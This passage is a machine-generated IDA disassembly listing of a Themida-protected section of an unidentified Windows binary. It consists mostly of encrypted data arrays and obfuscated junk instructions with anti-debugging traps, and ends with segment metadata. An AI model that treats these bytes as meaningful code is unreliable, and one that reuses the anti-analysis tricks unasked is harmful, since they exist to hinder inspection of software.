904AF22Fh, 0F30CB955h dd 0F5B0DC4h, 285h, 0B26CB600h, 0F38166EFh, 0F519CFDh dd 0E95EC2B7h, 0Eh, 55832B97h, 938C11E4h, 0B21D4FCFh, 12E92DB8h dd 4C000000h, 0C4DE6844h, 185A0B5Ch, 8B8EC807h, 0D12A894Dh dd 0E960606Dh, 7, 3959DFA3h, 6691E91Fh, 146ED881h, 6820F61h dd 0F000000h, 84h, 7B46100h, 82BF00B2h, 5642C4B2h, 10BA665Bh dd 0D2816624h, 0B70F9347h, 0CE8166C9h, 9CB9038Dh, 0F6A6EEDh dd 38Ch, 0C2BF0F00h, 0FE9h, 61272C00h, 4AE8B7ACh, 0A342A2FEh dd 96A28AAFh, 10E9h, 0AF010F00h, 4DE17498h dd 735F9B77h, 33F81767h, 0CEB0BA31h, 0D18A0744h, 10E8F08Bh dd 73000000h, 8F1D3AC3h, 2BFD7110h, 5708F0F1h, 0E88D10FBh dd 7, 0EF43FD19h, 0E9838803h, 14h, 61D5470Ch, 0F5540192h dd 7D3EE50Ch, 0FEE0B30h, 1BE4672Ah, 80B6585Fh, 840F6060h dd 0 ; --------------------------------------------------------------------------- movzx esi, si popa mov esi, edx popa sub eax, 1AB64489h jmp loc_601A5F ; --------------------------------------------------------------------------- retn 9DFBh ; --------------------------------------------------------------------------- db 97h, 0DFh, 0EDh dd 68E5CE52h, 0E451A599h db 5Dh, 62h, 0F7h ; --------------------------------------------------------------------------- loc_601A5F: ; CODE XREF: Themida_:00601A49j mov ebx, 31C8611Dh cld jl near ptr loc_601A82+4 call near ptr loc_601A7D+4 or eax, 0CA8B7D9Bh int 3 ; - software interrupt to invoke the debugger cmpsb mov ebx, 820E1F68h loc_601A7D: ; CODE XREF: Themida_:00601A6Bp mov esi, 66398DB3h loc_601A82: ; CODE XREF: Themida_:00601A65j mov esi, 0B75ECDA4h sub ah, [esi-75h] fimul word ptr [edi] pop dword ptr [eax+eax] ; --------------------------------------------------------------------------- db 0 dd 69BB6600h, 1840FDBh, 0FC000000h, 0F3A543BAh, 14E925h dd 911B0000h, 0E899F52Bh, 10E96CACh, 39F60E0Bh, 2D1742CEh dd 66564F10h, 665ECF8Bh, 6E9F08Bh, 94000000h, 5E66A5DCh dd 451EB824h, 0E4BA0D60h, 0B762D55Ah, 5C68BB54h, 0E86008F1h dd 5, 0E3781947h, 14E83Ah, 0AE5B0000h, 0C5E79AC0h, 0ABF1D4EBh dd 91A1CBDBh, 82738C71h, 5B5A89F1h, 49731CB8h, 0FFC6153h dd 382h, 0C78B6600h, 0CF17EA81h, 5E86ECCh, 69000000h, 3522A0D2h dd 0CE9h, 570A3B00h, 88099D4Dh, 0FB2C9ED9h, 0FF95BD7h dd 983h, 3850F00h, 66000000h, 830FC18Bh, 0 ; --------------------------------------------------------------------------- jmp loc_601B58 ; --------------------------------------------------------------------------- db 0A1h, 9Ah, 8Eh dd 0CE921CC5h ; --------------------------------------------------------------------------- loc_601B58: ; CODE XREF: Themida_:00601B4Cj add ebx, 26B3CDDh sub bx, 0CDF5h mov cx, di mov dl, ah adc ah, 0Ch cmc mov ax, cx call near ptr loc_601B82+1 pop ebx dec ebx sal bh, 1 xchg eax, ebp test al, 0C0h push esp cli scasb xor [ebx], ebp aad 0ADh loc_601B82: ; CODE XREF: Themida_:00601B6Fp mov [esi-7Fh], ah ficom dword ptr [esi] xor eax, 0F5E5358h lea eax, [eax+eax] ; --------------------------------------------------------------------------- db 0 dd 0A1BF6600h, 6E8CBh, 20BE0000h, 0D4F2494Ch, 5AF88B66h dd 0E9816651h, 805E0896h, 66F517CCh, 0BDBEE181h, 0BAC2BF0Fh dd 281B0D93h, 0CA8166F8h, 0B70FF014h, 0ABBA66F6h, 9CBF667Bh dd 6EE78184h, 0F528277h, 48Ch, 0FBB96600h, 13E918h, 50CF0000h dd 3F8CFD18h, 2F08F8F6h, 322B2828h, 5E2DADB8h, 81BB66A1h dd 11E929h, 23080000h, 0BC5CC73Fh, 0B7EA599Eh, 2B15B3C6h dd 57B93E09h, 3800F59h, 66000000h, 0DF81DA8Bh, 7A35728Ch dd 66C9F080h, 0F9424FBEh, 0DE9h, 0F179C800h, 5D445FD6h dd 69B1DD02h, 0C78BE051h, 0E9CFB70Fh, 8, 0ABDA273Fh, 0CB4FEDCAh dd 0AE9h, 0ECB71000h, 6D1A1F14h, 0A152A2AEh, 67h dup(0B6E014D5h) dd 0B5h dup(0E2CC0BBDh), 595B0BBDh, 192h dup(595B55EBh) dd 67EDE2EBh, 20Dh dup(67EDE211h), 2E73E211h, 1ABh dup(2E738495h) dd 81738495h, 114h dup(8105983Fh), 0E779983Fh, 79h dup(0E7793E34h) dd 8F793E34h, 6Fh dup(8F893D50h), 2D6h dup(751354A7h) dd 0CC1354A7h, 8C0h dup(0CCCCCCCCh), 0CCCCCCh, 3031h dup(0) dword_612D20 dd 0FCBh dup(0) db 2 dup(0) word_616C4E dw 0 ; DATA XREF: ___:off_444314o dd 18ECh dup(0) Themida_ ends ; Section 5. (virtual address 0021D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0021D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 61D000h align 2000h _idata2 ends end start